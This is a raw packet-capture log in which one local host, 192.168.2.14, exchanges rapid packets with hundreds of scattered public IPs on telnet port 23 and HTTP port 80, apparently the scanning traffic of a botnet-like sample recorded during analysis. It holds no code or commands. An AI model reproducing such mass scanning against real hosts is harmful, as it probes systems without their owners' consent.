Dec 3, 2024 22:01:58.994393110 CET	39808	23	192.168.2.14	32.166.3.239
Dec 3, 2024 22:01:58.994398117 CET	39808	23	192.168.2.14	78.166.147.205
Dec 3, 2024 22:01:58.994409084 CET	23	39808	67.104.74.30	192.168.2.14
Dec 3, 2024 22:01:58.994412899 CET	39808	23	192.168.2.14	189.247.11.112
Dec 3, 2024 22:01:58.994417906 CET	39808	23	192.168.2.14	194.127.119.121
Dec 3, 2024 22:01:58.994424105 CET	39808	23	192.168.2.14	147.82.225.168
Dec 3, 2024 22:01:58.994477987 CET	39808	23	192.168.2.14	67.104.74.30
Dec 3, 2024 22:01:58.994496107 CET	23	39808	4.127.136.171	192.168.2.14
Dec 3, 2024 22:01:58.994508982 CET	23	39808	9.186.17.180	192.168.2.14
Dec 3, 2024 22:01:58.994524002 CET	23	39808	111.95.2.233	192.168.2.14
Dec 3, 2024 22:01:58.994529009 CET	23	39808	101.39.42.6	192.168.2.14
Dec 3, 2024 22:01:58.994533062 CET	23	39808	166.64.100.54	192.168.2.14
Dec 3, 2024 22:01:58.994544029 CET	23	39808	136.62.105.206	192.168.2.14
Dec 3, 2024 22:01:58.994549036 CET	23	39808	25.39.153.21	192.168.2.14
Dec 3, 2024 22:01:58.994550943 CET	39808	23	192.168.2.14	4.127.136.171
Dec 3, 2024 22:01:58.994575024 CET	23	39808	65.245.116.60	192.168.2.14
Dec 3, 2024 22:01:58.994575977 CET	39808	23	192.168.2.14	166.64.100.54
Dec 3, 2024 22:01:58.994575977 CET	39808	23	192.168.2.14	136.62.105.206
Dec 3, 2024 22:01:58.994590044 CET	39808	23	192.168.2.14	25.39.153.21
Dec 3, 2024 22:01:58.994590998 CET	39808	23	192.168.2.14	9.186.17.180
Dec 3, 2024 22:01:58.994591951 CET	39808	23	192.168.2.14	111.95.2.233
Dec 3, 2024 22:01:58.994591951 CET	39808	23	192.168.2.14	101.39.42.6
Dec 3, 2024 22:01:58.994607925 CET	39808	23	192.168.2.14	65.245.116.60
Dec 3, 2024 22:01:58.994611979 CET	23	39808	102.46.188.230	192.168.2.14
Dec 3, 2024 22:01:58.994617939 CET	23	39808	38.193.220.208	192.168.2.14
Dec 3, 2024 22:01:58.994667053 CET	39808	23	192.168.2.14	38.193.220.208
Dec 3, 2024 22:01:58.994676113 CET	39808	23	192.168.2.14	102.46.188.230
Dec 3, 2024 22:01:58.994791985 CET	23	39808	115.127.29.84	192.168.2.14
Dec 3, 2024 22:01:58.994796991 CET	23	39808	126.60.72.254	192.168.2.14
Dec 3, 2024 22:01:58.994805098 CET	23	39808	159.202.59.144	192.168.2.14
Dec 3, 2024 22:01:58.994806051 CET	23	39808	132.225.192.209	192.168.2.14
Dec 3, 2024 22:01:58.994810104 CET	23	39808	211.6.42.253	192.168.2.14
Dec 3, 2024 22:01:58.994817972 CET	23	39808	59.124.83.218	192.168.2.14
Dec 3, 2024 22:01:58.994822979 CET	23	39808	204.105.139.224	192.168.2.14
Dec 3, 2024 22:01:58.994848013 CET	39808	23	192.168.2.14	211.6.42.253
Dec 3, 2024 22:01:58.994849920 CET	39808	23	192.168.2.14	204.105.139.224
Dec 3, 2024 22:01:58.994857073 CET	39808	23	192.168.2.14	115.127.29.84
Dec 3, 2024 22:01:58.994857073 CET	39808	23	192.168.2.14	126.60.72.254
Dec 3, 2024 22:01:58.994863987 CET	39808	23	192.168.2.14	159.202.59.144
Dec 3, 2024 22:01:58.994864941 CET	39808	23	192.168.2.14	59.124.83.218
Dec 3, 2024 22:01:58.994864941 CET	39808	23	192.168.2.14	132.225.192.209
Dec 3, 2024 22:01:58.995573044 CET	23	39808	53.189.86.66	192.168.2.14
Dec 3, 2024 22:01:58.995579004 CET	23	39808	48.83.108.39	192.168.2.14
Dec 3, 2024 22:01:58.995583057 CET	23	39808	135.64.103.163	192.168.2.14
Dec 3, 2024 22:01:58.995598078 CET	23	39808	188.43.38.67	192.168.2.14
Dec 3, 2024 22:01:58.995603085 CET	23	39808	54.45.233.217	192.168.2.14
Dec 3, 2024 22:01:58.995606899 CET	23	39808	130.254.189.33	192.168.2.14
Dec 3, 2024 22:01:58.995616913 CET	39808	23	192.168.2.14	53.189.86.66
Dec 3, 2024 22:01:58.995621920 CET	39808	23	192.168.2.14	48.83.108.39
Dec 3, 2024 22:01:58.995621920 CET	39808	23	192.168.2.14	135.64.103.163
Dec 3, 2024 22:01:58.995625019 CET	23	39808	67.14.23.185	192.168.2.14
Dec 3, 2024 22:01:58.995630026 CET	39808	23	192.168.2.14	188.43.38.67
Dec 3, 2024 22:01:58.995630026 CET	39808	23	192.168.2.14	54.45.233.217
Dec 3, 2024 22:01:58.995631933 CET	23	39808	12.7.109.251	192.168.2.14
Dec 3, 2024 22:01:58.995640993 CET	39808	23	192.168.2.14	130.254.189.33
Dec 3, 2024 22:01:58.995644093 CET	23	39808	82.155.153.99	192.168.2.14
Dec 3, 2024 22:01:58.995651007 CET	23	39808	198.209.119.231	192.168.2.14
Dec 3, 2024 22:01:58.995655060 CET	23	39808	25.166.30.201	192.168.2.14
Dec 3, 2024 22:01:58.995661020 CET	23	39808	167.81.169.192	192.168.2.14
Dec 3, 2024 22:01:58.995681047 CET	39808	23	192.168.2.14	67.14.23.185
Dec 3, 2024 22:01:58.995681047 CET	39808	23	192.168.2.14	12.7.109.251
Dec 3, 2024 22:01:58.995682001 CET	39808	23	192.168.2.14	82.155.153.99
Dec 3, 2024 22:01:58.995685101 CET	39808	23	192.168.2.14	198.209.119.231
Dec 3, 2024 22:01:58.995685101 CET	39808	23	192.168.2.14	25.166.30.201
Dec 3, 2024 22:01:58.995685101 CET	39808	23	192.168.2.14	167.81.169.192
Dec 3, 2024 22:01:58.995690107 CET	23	39808	210.69.244.230	192.168.2.14
Dec 3, 2024 22:01:58.995697975 CET	23	39808	36.246.250.122	192.168.2.14
Dec 3, 2024 22:01:58.995718002 CET	23	39808	52.91.80.225	192.168.2.14
Dec 3, 2024 22:01:58.995727062 CET	39808	23	192.168.2.14	36.246.250.122
Dec 3, 2024 22:01:58.995733023 CET	39808	23	192.168.2.14	210.69.244.230
Dec 3, 2024 22:01:58.995754004 CET	39808	23	192.168.2.14	52.91.80.225
Dec 3, 2024 22:01:58.995795965 CET	23	39808	181.100.94.217	192.168.2.14
Dec 3, 2024 22:01:58.995800972 CET	23	39808	217.205.187.248	192.168.2.14
Dec 3, 2024 22:01:58.995805979 CET	23	39808	177.35.142.38	192.168.2.14
Dec 3, 2024 22:01:58.995826006 CET	23	39808	219.227.214.65	192.168.2.14
Dec 3, 2024 22:01:58.995831013 CET	23	39808	1.124.183.129	192.168.2.14
Dec 3, 2024 22:01:58.995847940 CET	39808	23	192.168.2.14	181.100.94.217
Dec 3, 2024 22:01:58.995850086 CET	39808	23	192.168.2.14	177.35.142.38
Dec 3, 2024 22:01:58.995857954 CET	39808	23	192.168.2.14	217.205.187.248
Dec 3, 2024 22:01:58.995867968 CET	39808	23	192.168.2.14	1.124.183.129
Dec 3, 2024 22:01:58.995874882 CET	39808	23	192.168.2.14	219.227.214.65
Dec 3, 2024 22:01:58.995903969 CET	23	39808	182.186.154.175	192.168.2.14
Dec 3, 2024 22:01:58.995909929 CET	23	39808	145.171.106.105	192.168.2.14
Dec 3, 2024 22:01:58.995913982 CET	23	39808	61.96.80.77	192.168.2.14
Dec 3, 2024 22:01:58.995923042 CET	23	39808	129.47.30.45	192.168.2.14
Dec 3, 2024 22:01:58.995928049 CET	23	39808	105.64.33.180	192.168.2.14
Dec 3, 2024 22:01:58.995932102 CET	23	39808	58.229.176.93	192.168.2.14
Dec 3, 2024 22:01:58.995935917 CET	23	39808	116.123.41.125	192.168.2.14
Dec 3, 2024 22:01:58.995940924 CET	23	39808	173.128.104.32	192.168.2.14
Dec 3, 2024 22:01:58.995958090 CET	39808	23	192.168.2.14	182.186.154.175
Dec 3, 2024 22:01:58.995958090 CET	39808	23	192.168.2.14	145.171.106.105
Dec 3, 2024 22:01:58.995965004 CET	39808	23	192.168.2.14	61.96.80.77
Dec 3, 2024 22:01:58.995984077 CET	39808	23	192.168.2.14	58.229.176.93
Dec 3, 2024 22:01:58.995984077 CET	39808	23	192.168.2.14	116.123.41.125
Dec 3, 2024 22:01:58.996000051 CET	39808	23	192.168.2.14	173.128.104.32
Dec 3, 2024 22:01:58.996000051 CET	39808	23	192.168.2.14	105.64.33.180
Dec 3, 2024 22:01:58.996002913 CET	39808	23	192.168.2.14	129.47.30.45
Dec 3, 2024 22:01:58.996005058 CET	23	39808	159.83.164.77	192.168.2.14
Dec 3, 2024 22:01:58.996011019 CET	23	39808	92.15.115.33	192.168.2.14
Dec 3, 2024 22:01:58.996048927 CET	39808	23	192.168.2.14	159.83.164.77
Dec 3, 2024 22:01:58.996071100 CET	39808	23	192.168.2.14	92.15.115.33
Dec 3, 2024 22:01:59.000617027 CET	80	39296	72.17.244.236	192.168.2.14
Dec 3, 2024 22:01:59.000662088 CET	39296	80	192.168.2.14	72.17.244.236
Dec 3, 2024 22:01:59.001394033 CET	80	39296	112.175.239.80	192.168.2.14
Dec 3, 2024 22:01:59.001460075 CET	39296	80	192.168.2.14	112.175.239.80
Dec 3, 2024 22:01:59.001472950 CET	80	39296	189.135.83.235	192.168.2.14
Dec 3, 2024 22:01:59.001477957 CET	80	39296	5.243.216.54	192.168.2.14
Dec 3, 2024 22:01:59.001501083 CET	80	39296	58.232.164.176	192.168.2.14
Dec 3, 2024 22:01:59.001506090 CET	80	39296	12.178.60.80	192.168.2.14
Dec 3, 2024 22:01:59.001509905 CET	80	39296	159.70.116.124	192.168.2.14
Dec 3, 2024 22:01:59.001513958 CET	80	39296	59.9.149.230	192.168.2.14
Dec 3, 2024 22:01:59.001523972 CET	80	39296	81.120.241.245	192.168.2.14
Dec 3, 2024 22:01:59.001533985 CET	39296	80	192.168.2.14	189.135.83.235
Dec 3, 2024 22:01:59.001533985 CET	39296	80	192.168.2.14	12.178.60.80
Dec 3, 2024 22:01:59.001534939 CET	39296	80	192.168.2.14	58.232.164.176
Dec 3, 2024 22:01:59.001535892 CET	80	39296	157.207.39.163	192.168.2.14
Dec 3, 2024 22:01:59.001540899 CET	80	39296	156.144.63.43	192.168.2.14
Dec 3, 2024 22:01:59.001542091 CET	39296	80	192.168.2.14	5.243.216.54
Dec 3, 2024 22:01:59.001545906 CET	80	39296	175.69.82.2	192.168.2.14
Dec 3, 2024 22:01:59.001549959 CET	80	39296	27.86.83.239	192.168.2.14
Dec 3, 2024 22:01:59.001553059 CET	39296	80	192.168.2.14	159.70.116.124
Dec 3, 2024 22:01:59.001557112 CET	80	39296	93.155.172.13	192.168.2.14
Dec 3, 2024 22:01:59.001557112 CET	39296	80	192.168.2.14	81.120.241.245
Dec 3, 2024 22:01:59.001557112 CET	39296	80	192.168.2.14	59.9.149.230
Dec 3, 2024 22:01:59.001563072 CET	80	39296	133.60.145.231	192.168.2.14
Dec 3, 2024 22:01:59.001574993 CET	39296	80	192.168.2.14	156.144.63.43
Dec 3, 2024 22:01:59.001575947 CET	39296	80	192.168.2.14	27.86.83.239
Dec 3, 2024 22:01:59.001576900 CET	39296	80	192.168.2.14	157.207.39.163
Dec 3, 2024 22:01:59.001579046 CET	80	39296	162.157.105.172	192.168.2.14
Dec 3, 2024 22:01:59.001585960 CET	39296	80	192.168.2.14	175.69.82.2
Dec 3, 2024 22:01:59.001586914 CET	80	39296	70.125.85.188	192.168.2.14
Dec 3, 2024 22:01:59.001593113 CET	80	39296	196.14.9.119	192.168.2.14
Dec 3, 2024 22:01:59.001596928 CET	39296	80	192.168.2.14	93.155.172.13
Dec 3, 2024 22:01:59.001597881 CET	39296	80	192.168.2.14	133.60.145.231
Dec 3, 2024 22:01:59.001629114 CET	39296	80	192.168.2.14	196.14.9.119
Dec 3, 2024 22:01:59.001631021 CET	39296	80	192.168.2.14	70.125.85.188
Dec 3, 2024 22:01:59.001631021 CET	39296	80	192.168.2.14	162.157.105.172
Dec 3, 2024 22:01:59.001719952 CET	80	39296	148.77.145.39	192.168.2.14
Dec 3, 2024 22:01:59.001725912 CET	80	39296	88.133.224.230	192.168.2.14
Dec 3, 2024 22:01:59.001730919 CET	80	39296	78.96.91.83	192.168.2.14
Dec 3, 2024 22:01:59.001735926 CET	80	39296	211.128.238.126	192.168.2.14
Dec 3, 2024 22:01:59.001739979 CET	80	39296	48.97.242.37	192.168.2.14
Dec 3, 2024 22:01:59.001744032 CET	80	39296	211.213.150.205	192.168.2.14
Dec 3, 2024 22:01:59.001748085 CET	80	39296	147.161.248.239	192.168.2.14
Dec 3, 2024 22:01:59.001756907 CET	80	39296	190.35.88.235	192.168.2.14
Dec 3, 2024 22:01:59.001760960 CET	80	39296	176.225.203.100	192.168.2.14
Dec 3, 2024 22:01:59.001763105 CET	39296	80	192.168.2.14	78.96.91.83
Dec 3, 2024 22:01:59.001765013 CET	80	39296	173.237.244.156	192.168.2.14
Dec 3, 2024 22:01:59.001766920 CET	39296	80	192.168.2.14	211.128.238.126
Dec 3, 2024 22:01:59.001766920 CET	39296	80	192.168.2.14	88.133.224.230
Dec 3, 2024 22:01:59.001769066 CET	39296	80	192.168.2.14	148.77.145.39
Dec 3, 2024 22:01:59.001777887 CET	39296	80	192.168.2.14	48.97.242.37
Dec 3, 2024 22:01:59.001787901 CET	39296	80	192.168.2.14	211.213.150.205
Dec 3, 2024 22:01:59.001792908 CET	39296	80	192.168.2.14	147.161.248.239
Dec 3, 2024 22:01:59.001796007 CET	39296	80	192.168.2.14	190.35.88.235
Dec 3, 2024 22:01:59.001805067 CET	39296	80	192.168.2.14	176.225.203.100
Dec 3, 2024 22:01:59.001811981 CET	39296	80	192.168.2.14	173.237.244.156
Dec 3, 2024 22:01:59.002334118 CET	80	39296	129.166.98.21	192.168.2.14
Dec 3, 2024 22:01:59.002377033 CET	39296	80	192.168.2.14	129.166.98.21
Dec 3, 2024 22:01:59.002384901 CET	80	39296	195.159.224.104	192.168.2.14
Dec 3, 2024 22:01:59.002393007 CET	80	39296	200.110.166.67	192.168.2.14
Dec 3, 2024 22:01:59.002402067 CET	80	39296	184.72.141.190	192.168.2.14
Dec 3, 2024 22:01:59.002408028 CET	80	39296	121.227.43.126	192.168.2.14
Dec 3, 2024 22:01:59.002418995 CET	80	39296	70.112.143.176	192.168.2.14
Dec 3, 2024 22:01:59.002424955 CET	80	39296	75.83.148.123	192.168.2.14
Dec 3, 2024 22:01:59.002435923 CET	80	39296	39.32.14.134	192.168.2.14
Dec 3, 2024 22:01:59.002435923 CET	39296	80	192.168.2.14	195.159.224.104
Dec 3, 2024 22:01:59.002437115 CET	39296	80	192.168.2.14	200.110.166.67
Dec 3, 2024 22:01:59.002439976 CET	80	39296	219.145.197.9	192.168.2.14
Dec 3, 2024 22:01:59.002444029 CET	39296	80	192.168.2.14	184.72.141.190
Dec 3, 2024 22:01:59.002444983 CET	80	39296	54.12.240.76	192.168.2.14
Dec 3, 2024 22:01:59.002449989 CET	80	39296	71.33.68.130	192.168.2.14
Dec 3, 2024 22:01:59.002450943 CET	39296	80	192.168.2.14	70.112.143.176
Dec 3, 2024 22:01:59.002460957 CET	39296	80	192.168.2.14	75.83.148.123
Dec 3, 2024 22:01:59.002470016 CET	39296	80	192.168.2.14	121.227.43.126
Dec 3, 2024 22:01:59.002485991 CET	39296	80	192.168.2.14	39.32.14.134
Dec 3, 2024 22:01:59.002485991 CET	39296	80	192.168.2.14	219.145.197.9
Dec 3, 2024 22:01:59.002485991 CET	39296	80	192.168.2.14	54.12.240.76
Dec 3, 2024 22:01:59.002497911 CET	39296	80	192.168.2.14	71.33.68.130
Dec 3, 2024 22:01:59.002576113 CET	80	39296	196.124.103.120	192.168.2.14
Dec 3, 2024 22:01:59.002583981 CET	80	39296	66.75.58.208	192.168.2.14
Dec 3, 2024 22:01:59.002592087 CET	80	39296	9.226.127.25	192.168.2.14
Dec 3, 2024 22:01:59.002595901 CET	80	39296	192.15.222.246	192.168.2.14
Dec 3, 2024 22:01:59.002599955 CET	80	39296	174.207.140.13	192.168.2.14
Dec 3, 2024 22:01:59.002609015 CET	80	39296	77.75.196.43	192.168.2.14
Dec 3, 2024 22:01:59.002613068 CET	80	39296	179.3.49.202	192.168.2.14
Dec 3, 2024 22:01:59.002618074 CET	80	39296	170.251.189.89	192.168.2.14
Dec 3, 2024 22:01:59.002619028 CET	39296	80	192.168.2.14	196.124.103.120
Dec 3, 2024 22:01:59.002626896 CET	39296	80	192.168.2.14	9.226.127.25
Dec 3, 2024 22:01:59.002626896 CET	39296	80	192.168.2.14	192.15.222.246
Dec 3, 2024 22:01:59.002629042 CET	39296	80	192.168.2.14	66.75.58.208
Dec 3, 2024 22:01:59.002629995 CET	80	39296	87.196.124.9	192.168.2.14
Dec 3, 2024 22:01:59.002634048 CET	39296	80	192.168.2.14	174.207.140.13
Dec 3, 2024 22:01:59.002636909 CET	80	39296	97.220.107.7	192.168.2.14
Dec 3, 2024 22:01:59.002649069 CET	80	39296	85.17.8.237	192.168.2.14
Dec 3, 2024 22:01:59.002651930 CET	39296	80	192.168.2.14	170.251.189.89
Dec 3, 2024 22:01:59.002652884 CET	80	39296	116.92.181.239	192.168.2.14
Dec 3, 2024 22:01:59.002652884 CET	39296	80	192.168.2.14	77.75.196.43
Dec 3, 2024 22:01:59.002657890 CET	80	39296	137.28.134.7	192.168.2.14
Dec 3, 2024 22:01:59.002657890 CET	39296	80	192.168.2.14	179.3.49.202
Dec 3, 2024 22:01:59.002661943 CET	39296	80	192.168.2.14	97.220.107.7
Dec 3, 2024 22:01:59.002662897 CET	80	39296	160.60.208.231	192.168.2.14
Dec 3, 2024 22:01:59.002666950 CET	80	39296	159.52.59.121	192.168.2.14
Dec 3, 2024 22:01:59.002690077 CET	80	39296	111.62.23.52	192.168.2.14
Dec 3, 2024 22:01:59.002692938 CET	39296	80	192.168.2.14	116.92.181.239
Dec 3, 2024 22:01:59.002695084 CET	80	39296	120.205.227.204	192.168.2.14
Dec 3, 2024 22:01:59.002695084 CET	39296	80	192.168.2.14	85.17.8.237
Dec 3, 2024 22:01:59.002696037 CET	39296	80	192.168.2.14	160.60.208.231
Dec 3, 2024 22:01:59.002696037 CET	39296	80	192.168.2.14	87.196.124.9
Dec 3, 2024 22:01:59.002712965 CET	39296	80	192.168.2.14	159.52.59.121
Dec 3, 2024 22:01:59.002721071 CET	39296	80	192.168.2.14	137.28.134.7
Dec 3, 2024 22:01:59.002733946 CET	39296	80	192.168.2.14	111.62.23.52
Dec 3, 2024 22:01:59.002747059 CET	39296	80	192.168.2.14	120.205.227.204
Dec 3, 2024 22:01:59.003664970 CET	80	39296	187.235.195.104	192.168.2.14
Dec 3, 2024 22:01:59.003734112 CET	39296	80	192.168.2.14	187.235.195.104
Dec 3, 2024 22:01:59.003798962 CET	80	39296	47.131.96.168	192.168.2.14
Dec 3, 2024 22:01:59.003804922 CET	80	39296	191.23.136.150	192.168.2.14
Dec 3, 2024 22:01:59.003814936 CET	80	39296	35.135.76.92	192.168.2.14
Dec 3, 2024 22:01:59.003848076 CET	39296	80	192.168.2.14	35.135.76.92
Dec 3, 2024 22:01:59.003850937 CET	39296	80	192.168.2.14	47.131.96.168
Dec 3, 2024 22:01:59.003859043 CET	80	39296	219.75.69.92	192.168.2.14
Dec 3, 2024 22:01:59.003861904 CET	39296	80	192.168.2.14	191.23.136.150
Dec 3, 2024 22:01:59.003884077 CET	80	39296	80.114.42.102	192.168.2.14
Dec 3, 2024 22:01:59.003897905 CET	39296	80	192.168.2.14	219.75.69.92
Dec 3, 2024 22:01:59.003921032 CET	39296	80	192.168.2.14	80.114.42.102
Dec 3, 2024 22:01:59.003948927 CET	80	39296	37.103.170.197	192.168.2.14
Dec 3, 2024 22:01:59.003953934 CET	80	39296	143.228.173.174	192.168.2.14
Dec 3, 2024 22:01:59.003997087 CET	39296	80	192.168.2.14	37.103.170.197
Dec 3, 2024 22:01:59.004004955 CET	80	39296	192.191.185.221	192.168.2.14
Dec 3, 2024 22:01:59.004008055 CET	39296	80	192.168.2.14	143.228.173.174
Dec 3, 2024 22:01:59.004009962 CET	80	39296	177.108.242.241	192.168.2.14
Dec 3, 2024 22:01:59.004044056 CET	80	39296	194.115.57.89	192.168.2.14
Dec 3, 2024 22:01:59.004048109 CET	80	39296	184.58.55.2	192.168.2.14
Dec 3, 2024 22:01:59.004056931 CET	39296	80	192.168.2.14	192.191.185.221
Dec 3, 2024 22:01:59.004060984 CET	39296	80	192.168.2.14	177.108.242.241
Dec 3, 2024 22:01:59.004072905 CET	39296	80	192.168.2.14	194.115.57.89
Dec 3, 2024 22:01:59.004091978 CET	39296	80	192.168.2.14	184.58.55.2
Dec 3, 2024 22:01:59.004199028 CET	80	39296	204.187.166.186	192.168.2.14
Dec 3, 2024 22:01:59.004209995 CET	80	39296	81.218.100.79	192.168.2.14
Dec 3, 2024 22:01:59.004215002 CET	80	39296	197.173.96.115	192.168.2.14
Dec 3, 2024 22:01:59.004219055 CET	80	39296	150.160.68.60	192.168.2.14
Dec 3, 2024 22:01:59.004223108 CET	80	39296	120.23.89.14	192.168.2.14
Dec 3, 2024 22:01:59.004231930 CET	80	39296	181.208.131.188	192.168.2.14
Dec 3, 2024 22:01:59.004235983 CET	80	39296	131.232.38.249	192.168.2.14
Dec 3, 2024 22:01:59.004240036 CET	80	39296	218.97.164.30	192.168.2.14
Dec 3, 2024 22:01:59.004245043 CET	39296	80	192.168.2.14	81.218.100.79
Dec 3, 2024 22:01:59.004251957 CET	80	39296	51.50.141.42	192.168.2.14
Dec 3, 2024 22:01:59.004257917 CET	39296	80	192.168.2.14	197.173.96.115
Dec 3, 2024 22:01:59.004266977 CET	39296	80	192.168.2.14	120.23.89.14
Dec 3, 2024 22:01:59.004267931 CET	39296	80	192.168.2.14	181.208.131.188
Dec 3, 2024 22:01:59.004271984 CET	39296	80	192.168.2.14	204.187.166.186
Dec 3, 2024 22:01:59.004281998 CET	39296	80	192.168.2.14	51.50.141.42
Dec 3, 2024 22:01:59.004282951 CET	39296	80	192.168.2.14	131.232.38.249
Dec 3, 2024 22:01:59.004282951 CET	39296	80	192.168.2.14	218.97.164.30
Dec 3, 2024 22:01:59.004297018 CET	39296	80	192.168.2.14	150.160.68.60
Dec 3, 2024 22:01:59.004324913 CET	80	39296	59.207.179.28	192.168.2.14
Dec 3, 2024 22:01:59.004329920 CET	80	39296	31.131.53.14	192.168.2.14
Dec 3, 2024 22:01:59.004333973 CET	80	39296	51.253.212.115	192.168.2.14
Dec 3, 2024 22:01:59.004338026 CET	80	39296	205.173.50.30	192.168.2.14
Dec 3, 2024 22:01:59.004347086 CET	80	39296	154.5.195.57	192.168.2.14
Dec 3, 2024 22:01:59.004352093 CET	80	39296	213.69.137.128	192.168.2.14
Dec 3, 2024 22:01:59.004355907 CET	80	39296	119.203.25.151	192.168.2.14
Dec 3, 2024 22:01:59.004368067 CET	39296	80	192.168.2.14	59.207.179.28
Dec 3, 2024 22:01:59.004368067 CET	39296	80	192.168.2.14	205.173.50.30
Dec 3, 2024 22:01:59.004374981 CET	39296	80	192.168.2.14	31.131.53.14
Dec 3, 2024 22:01:59.004374981 CET	39296	80	192.168.2.14	154.5.195.57
Dec 3, 2024 22:01:59.004378080 CET	39296	80	192.168.2.14	213.69.137.128
Dec 3, 2024 22:01:59.004389048 CET	39296	80	192.168.2.14	119.203.25.151
Dec 3, 2024 22:01:59.004398108 CET	39296	80	192.168.2.14	51.253.212.115
Dec 3, 2024 22:01:59.004865885 CET	80	39296	40.187.131.160	192.168.2.14
Dec 3, 2024 22:01:59.004956961 CET	39296	80	192.168.2.14	40.187.131.160
Dec 3, 2024 22:01:59.004967928 CET	80	39296	223.241.239.55	192.168.2.14
Dec 3, 2024 22:01:59.004973888 CET	80	39296	116.249.223.175	192.168.2.14
Dec 3, 2024 22:01:59.004978895 CET	80	39296	116.127.159.55	192.168.2.14
Dec 3, 2024 22:01:59.005004883 CET	80	39296	192.135.240.174	192.168.2.14
Dec 3, 2024 22:01:59.005008936 CET	80	39296	86.164.252.78	192.168.2.14
Dec 3, 2024 22:01:59.005013943 CET	80	39296	163.8.196.60	192.168.2.14
Dec 3, 2024 22:01:59.005022049 CET	39296	80	192.168.2.14	223.241.239.55
Dec 3, 2024 22:01:59.005027056 CET	39296	80	192.168.2.14	116.249.223.175
Dec 3, 2024 22:01:59.005043030 CET	39296	80	192.168.2.14	192.135.240.174
Dec 3, 2024 22:01:59.005043030 CET	80	39296	116.179.6.52	192.168.2.14
Dec 3, 2024 22:01:59.005049944 CET	80	39296	38.41.43.185	192.168.2.14
Dec 3, 2024 22:01:59.005053043 CET	39296	80	192.168.2.14	163.8.196.60
Dec 3, 2024 22:01:59.005069017 CET	39296	80	192.168.2.14	116.127.159.55
Dec 3, 2024 22:01:59.005074024 CET	39296	80	192.168.2.14	116.179.6.52
Dec 3, 2024 22:01:59.005073071 CET	39296	80	192.168.2.14	86.164.252.78
Dec 3, 2024 22:01:59.005090952 CET	39296	80	192.168.2.14	38.41.43.185
Dec 3, 2024 22:01:59.005105019 CET	80	39296	146.7.155.160	192.168.2.14
Dec 3, 2024 22:01:59.005110979 CET	80	39296	76.253.116.168	192.168.2.14
Dec 3, 2024 22:01:59.005136013 CET	80	39296	27.105.154.213	192.168.2.14
Dec 3, 2024 22:01:59.005147934 CET	80	39296	206.31.122.38	192.168.2.14
Dec 3, 2024 22:01:59.005150080 CET	39296	80	192.168.2.14	146.7.155.160
Dec 3, 2024 22:01:59.005153894 CET	80	39296	218.176.9.167	192.168.2.14
Dec 3, 2024 22:01:59.005177021 CET	39296	80	192.168.2.14	76.253.116.168
Dec 3, 2024 22:01:59.005183935 CET	39296	80	192.168.2.14	27.105.154.213
Dec 3, 2024 22:01:59.005189896 CET	39296	80	192.168.2.14	218.176.9.167
Dec 3, 2024 22:01:59.005199909 CET	80	39296	122.126.40.32	192.168.2.14
Dec 3, 2024 22:01:59.005202055 CET	39296	80	192.168.2.14	206.31.122.38
Dec 3, 2024 22:01:59.005204916 CET	80	39296	105.112.207.33	192.168.2.14
Dec 3, 2024 22:01:59.005209923 CET	80	39296	66.221.197.135	192.168.2.14
Dec 3, 2024 22:01:59.005213976 CET	80	39296	112.241.254.129	192.168.2.14
Dec 3, 2024 22:01:59.005245924 CET	39296	80	192.168.2.14	105.112.207.33
Dec 3, 2024 22:01:59.005249977 CET	39296	80	192.168.2.14	66.221.197.135
Dec 3, 2024 22:01:59.005249977 CET	39296	80	192.168.2.14	122.126.40.32
Dec 3, 2024 22:01:59.005259991 CET	39296	80	192.168.2.14	112.241.254.129
Dec 3, 2024 22:01:59.005342007 CET	80	39296	25.210.211.48	192.168.2.14
Dec 3, 2024 22:01:59.005347013 CET	80	39296	139.246.49.94	192.168.2.14
Dec 3, 2024 22:01:59.005351067 CET	80	39296	24.107.55.194	192.168.2.14
Dec 3, 2024 22:01:59.005361080 CET	80	39296	218.76.230.167	192.168.2.14
Dec 3, 2024 22:01:59.005364895 CET	80	39296	93.130.23.54	192.168.2.14
Dec 3, 2024 22:01:59.005367994 CET	80	39296	213.15.250.142	192.168.2.14
Dec 3, 2024 22:01:59.005378008 CET	80	39296	54.177.254.185	192.168.2.14
Dec 3, 2024 22:01:59.005383015 CET	80	39296	179.186.254.193	192.168.2.14
Dec 3, 2024 22:01:59.005387068 CET	80	39296	211.83.229.255	192.168.2.14
Dec 3, 2024 22:01:59.005387068 CET	39296	80	192.168.2.14	25.210.211.48
Dec 3, 2024 22:01:59.005393982 CET	80	39296	218.127.216.212	192.168.2.14
Dec 3, 2024 22:01:59.005394936 CET	39296	80	192.168.2.14	139.246.49.94
Dec 3, 2024 22:01:59.005395889 CET	39296	80	192.168.2.14	24.107.55.194
Dec 3, 2024 22:01:59.005403042 CET	39296	80	192.168.2.14	218.76.230.167
Dec 3, 2024 22:01:59.005408049 CET	39296	80	192.168.2.14	93.130.23.54
Dec 3, 2024 22:01:59.005419016 CET	39296	80	192.168.2.14	179.186.254.193
Dec 3, 2024 22:01:59.005419016 CET	39296	80	192.168.2.14	213.15.250.142
Dec 3, 2024 22:01:59.005419970 CET	39296	80	192.168.2.14	54.177.254.185
Dec 3, 2024 22:01:59.005419970 CET	39296	80	192.168.2.14	211.83.229.255
Dec 3, 2024 22:01:59.005419970 CET	39296	80	192.168.2.14	218.127.216.212
Dec 3, 2024 22:01:59.005861998 CET	80	39296	126.73.63.137	192.168.2.14
Dec 3, 2024 22:01:59.005901098 CET	39296	80	192.168.2.14	126.73.63.137
Dec 3, 2024 22:01:59.005927086 CET	80	39296	57.161.192.135	192.168.2.14
Dec 3, 2024 22:01:59.005933046 CET	80	39296	34.34.18.39	192.168.2.14
Dec 3, 2024 22:01:59.005938053 CET	80	39296	173.8.99.188	192.168.2.14
Dec 3, 2024 22:01:59.005947113 CET	80	39296	128.178.187.46	192.168.2.14
Dec 3, 2024 22:01:59.005981922 CET	39296	80	192.168.2.14	34.34.18.39
Dec 3, 2024 22:01:59.005981922 CET	39296	80	192.168.2.14	57.161.192.135
Dec 3, 2024 22:01:59.005985022 CET	39296	80	192.168.2.14	173.8.99.188
Dec 3, 2024 22:01:59.005985975 CET	39296	80	192.168.2.14	128.178.187.46
Dec 3, 2024 22:01:59.006031036 CET	80	39296	92.238.86.135	192.168.2.14
Dec 3, 2024 22:01:59.006036043 CET	80	39296	123.223.222.49	192.168.2.14
Dec 3, 2024 22:01:59.006041050 CET	80	39296	91.89.162.80	192.168.2.14
Dec 3, 2024 22:01:59.006050110 CET	80	39296	12.115.68.145	192.168.2.14
Dec 3, 2024 22:01:59.006056070 CET	80	39296	178.240.70.21	192.168.2.14
